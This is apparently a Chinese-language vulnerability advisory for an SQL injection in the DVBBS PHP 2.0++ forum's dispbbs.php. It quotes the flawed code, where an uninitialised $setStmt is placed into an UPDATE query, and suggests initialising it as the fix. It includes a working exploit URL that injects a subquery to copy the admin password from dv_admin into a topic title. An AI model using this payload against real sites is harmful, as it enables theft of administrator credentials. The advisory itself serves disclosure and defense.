动网论坛 (DVBBS) PHP 2.0++ dispbbs.php 存在SQL注入漏洞


添加时间:
2010-10-05

系统编号:
WAVDB-01706

影响版本:
DVBBS PHP 2.0++

程序介绍:

动网(DVBBS)PHP论坛系统是一个采用PHP和MYSQL的数据架构的高性能网站论坛解决方案。动网论坛做为动网主要服务产品之一,自2001年投入推广并运营以来,得到了国内外广大互联网用户的广泛好评和支持。做为国内第一的互联网论坛服务品牌,占据了国内论坛服务市场的70%以上的用户,动网论坛服务在一些如电影、下载、网游等热门网站的占有率甚至高达80%以上,是中国论坛服务领域事实上的标准。

漏洞分析:

 在文件dispbbs.php中:

 
  1. if$board_settings[55] != 0 && $TopicInfo['locktopic'] == 0 && dateDiff('d',$TopicInfo['dateandtime'],TIME_NOW) > $board_settings[55] ){  //第85行  
  2.         $TopicInfo['locktopic'] = 1;  
  3.         $setStmt = ',locktopic=1';  
  4.     }  
  5.     $db->query("UPDATE {$dv}topic SET hits=(CASE WHEN hits IS NULL THEN 1 ELSE hits+1 END) {$setStmt} WHERE topicid={$AnnounceID}");  
当if语句不成立的时候,变量$setStmt没有被赋值,且变量$setStmt没有初始化。导致sql注入漏洞的产生。

漏洞利用:

 http://wavdb.com/dispbbs.php?boardid=2&id=1&page=1&setStmt=,title=(select%20password%20from%20dv_admin)

解决方案:
临时解决办法:
--------
初始化变量$setStmt

厂商补丁:
动网论坛(dvbbs)
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dvbbs.net

信息来源:
<* 来源: sebug
链接: http://sebug.net/vulndb/20110/
*>